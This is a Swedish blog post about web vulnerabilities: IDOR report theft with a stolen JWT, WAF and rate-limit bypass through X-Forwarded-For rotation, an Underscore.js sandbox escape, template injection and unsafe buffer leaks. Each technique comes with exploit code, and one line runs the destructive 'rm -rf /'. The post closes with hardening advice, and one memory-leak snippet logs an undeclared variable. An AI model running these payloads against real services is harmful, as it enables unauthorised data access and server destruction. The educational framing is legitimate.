Skip to main content
  1. Blogposts/

Exploit-exempel: ändra report_id för att hämta andras rapporter 📚

·393 words·2 mins· loading · · ·
Rasmus
Author
Rasmus
Att dela en ide eller två kan vara bra för hjärnan
Table of Contents

import requests

token = “STULEN_JWT” response = requests.post( “https://target.com/api/v1/generate_report", headers={“Authorization”: f"Bearer {token}”}, json={“report_id”: “1002”} # Ändra detta ID ) print(response.content) # Nu har du någons PDF!


**Nyckelinsikter**:
- Bristande auktoriseringskontroll för `report_id`
- Sekventiella ID:n underlättar gissningsattacker

---

### 1.2 Upptäcktsprocess: Från Misstanke till Bekräftelse
**Steg-för-steg**:
1. **Burp History-analys**: Upptäckte POST-anrop till `/generate_report`
2. **ID-fuzzing**: Testade 1001, 1002, 1003...
3. **Responsanalys**: Fick ut andras PDF-rapporter

**Vardagsanalogi**:
> "Det var som att skicka fel matkasse till grannen – systemet kontrollerade inte mottagarens identitet!"

---

### 1.3 Avancerade Tekniker: WAF-kringgång & Automatisering
**Burp Suite-magi**:
```json
// Regel för automatisk JWT-injektion
{
  "match_replace_rules": [{
    "name": "Inject JWT",
    "match": "^Authorization: Bearer.*$",
    "replace": "Bearer HACKED_TOKEN"
  }]
}

Rate Limit-kringgång:

# IP-rotation via X-Forwarded-For
headers = {"X-Forwarded-For": f"13.{random.randint(10,99)}.210.{random.randint(10,99)}"}

💡 Fungerar som en “förklädnadskarusell” mot skyddssystem


☁️ Del 2: Azure Healthbots Farliga Hemligheter
#

2.1 Sandbox-escape: När indexOf Blir En Säkerhetsbrist
#

Problem: Kringgå JS-sandbox genom manipulerad indexOf i Underscore.js.

// Sabotera indexOf för att lura vitlistan
_.indexOf = () => 1;  // "Allt är plötsligt tillåtet!"
require('child_process').exec('rm -rf /');  // Katastrof!

Lärdom:

  • Biblioteksfunktioner har inte samma säkerhet som inbyggda
  • Vitlistningar är bara så säkra som sin svagaste länk

2.2 Template Injection: Farliga Kodkakor
#

Underscore.js-exploit:

const farligTemplate = _.template('<%= global.process.mainModule.require("child_process").execSync("whoami") %>')();
// Kör "whoami" på serversidan!

Vardagsförklaring:

“Som att lämna en lapp med ‘köp mjölk’ – där texten egentligen innehåller instruktioner att tömma ditt konto.”


2.3 Minnesläckor: Skräp Som Blir Säkerhetsguld
#

Orenade Buffertar = Datoguld:

const minnesdump = Buffer.allocUnsafe(4096);  // Fånga orenat minne
console.log(dump.toString());  // Innehåller kanske JWT:n eller lösenord?

Analogi: Som att hitta känsliga dokument i ett soprum – skräp kan vara oväntat värdefullt!


🛡️ Sammanfattning: Så Förstärker Du Ditt System
#

Kritisk Säkerhetschecklista:
#

  1. IDOR-skydd: Implementera UUID:n istället för räknebara ID:n
  2. Sandboxar: Uppdatera VM2 och använd container-isolering
  3. Templates: Sanera all användarinput i mallmotorer
  4. Minneshantering: Prioritera Buffer.alloc() över allocUnsafe
# Exempel på säker konfiguration
dependencies:
  underscore: "^1.13.6"  # Uppdatera snarast!
  vm2: "latest"          # Använd inte föråldrade versioner

💭 Slutord: “Det Är Bara En Enkel Rapportgenerator…”
#

Nästa gång du skapar ett “enkelt” API eller använder tredjepartsbibliotek – fråga dig: “Vad händer om någon manipulerar parametrarna? Kan denna kod missbrukas på oväntat sätt?”

🔗 Fördjupning:

Kom ihåg: Varje kodrad är en potentiell ingång – säkerställ att den har rätt skydd! 🔐

📩 Sugen på Mer? Prenumerera för fler tekniska analyser och exploit-exempel!